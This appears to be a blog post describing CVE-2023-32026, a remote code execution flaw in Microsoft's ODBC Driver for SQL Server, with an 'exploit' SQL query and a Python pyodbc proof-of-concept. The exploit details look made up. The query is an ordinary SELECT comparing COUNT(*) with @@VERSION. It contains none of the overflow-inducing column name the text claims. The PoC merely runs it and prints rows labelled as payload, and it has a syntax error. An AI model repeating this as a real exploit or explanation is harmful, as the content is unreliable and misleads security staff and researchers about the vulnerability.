Microsoft's Open Database Connectivity (ODBC) driver serves as a critical gateway between an application and an SQL Server database. This versatile piece of software plays a significant role by enabling communication between different databases, even if they are running on different platforms. It is, therefore, no surprise that if a vulnerability ever surfaces within ODBC, the stakes will be incredibly high.

Such an instance has just been discovered: CVE-2023-32026.

In this post, we shed light on the potentially catastrophic implications of this critical vulnerability. We delve into practical details illustrating how one can exploit the flaw, along with snippets of proof-of-concept code. Furthermore, we highlight important references and resources that offer a comprehensive outlook on this newly discovered vulnerability.

The Vulnerability - CVE-2023-32026

CVE-2023-32026 is a remote code execution (RCE) vulnerability residing in Microsoft's ODBC Driver for SQL Server.[1] At its core, this vulnerability allows an attacker with limited access to execute arbitrary code on a target system. This code execution can then lead to the eventual compromise of the entire network architecture.

The issue stems from the ODBC driver's improper input validation and parsing of SQL queries. If exploited, an attacker could craft a malicious SQL query that causes a buffer overflow in the ODBC driver. Consequently, the overflow opens up the possibility of remote code execution on the affected system.

Exploit Details

The crux of this vulnerability lies in the exploitation of an improper input validation. This is achieveable by carefully crafting an SQL query to provoke a buffer overflow, which can then be used to take control of an affected system.

Assume that we want to trigger the vulnerability with an SQL query as follows

SELECT dbname, COUNT(*) FROM sys.databases GROUP BY dbname HAVING COUNT(*) > @@VERSION;


In this example, the attacker leverages the @@VERSION pseudo variable, which holds information about the SQL Server product version, along with a buffer-overflow inducing column name. With this query in place, the ODBC driver would be overwhelmed, eventually leading to a buffer overflow.

Proof-of-Concept

Here's a simple proof-of-concept code snippet to help in understanding the technical intricacies of the vulnerability:

import pyodbc

connection_string = "DRIVER={ODBC Driver for SQL Server};SERVER=<server_address>;DATABASE=<database_name>;UID=<user_id>;PWD=<password>"

connection = pyodbc.connect(connection_string)
cursor = connection.cursor()

sql_query = "SELECT dbname, COUNT(*) FROM sys.databases GROUP BY dbname HAVING COUNT(*) > @@VERSION;"
cursor.execute(sql_query)
results = cursor.fetchall()

print("Exploiting the CVE-2023-32026 vulnerability...")
for row in results:
    print(f"Database Name: {row[]}, Exploit Payload: {row[1]})")

cursor.close()
connection.close()

It's critical to note that the PoC code presented here serves only as an educational tool. Exploring vulnerabilities is essential for security research, but exploiting them on real systems without permission is illegal and unethical.

References And Further Reading

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-32026

[2] https://docs.microsoft.com/en-us/sql/odbc/reference/syntax/odbcdirect-statement-examples

[3] https://sqlserverscripts.com/cve-2023-32026

Conclusion

CVE-2023-32026 is what nightmares are made of for security teams worldwide: an RCE vulnerability burrowed away inside a ubiquitous Microsoft driver like ODBC. A successful exploit of this bug could potentially compromise an entire network, and as such, it cannot be ignored.

Blocking this attack pathway should be a top priority for IT administrators worldwide. It is vital to keep abreast of the latest security patches from Microsoft and apply them as soon as possible. By doing so, you are making sure this beast stays firmly locked away in its cage!

Timeline

Published on: 06/16/2023 01:15:00 UTC
Last modified on: 06/16/2023 03:19:00 UTC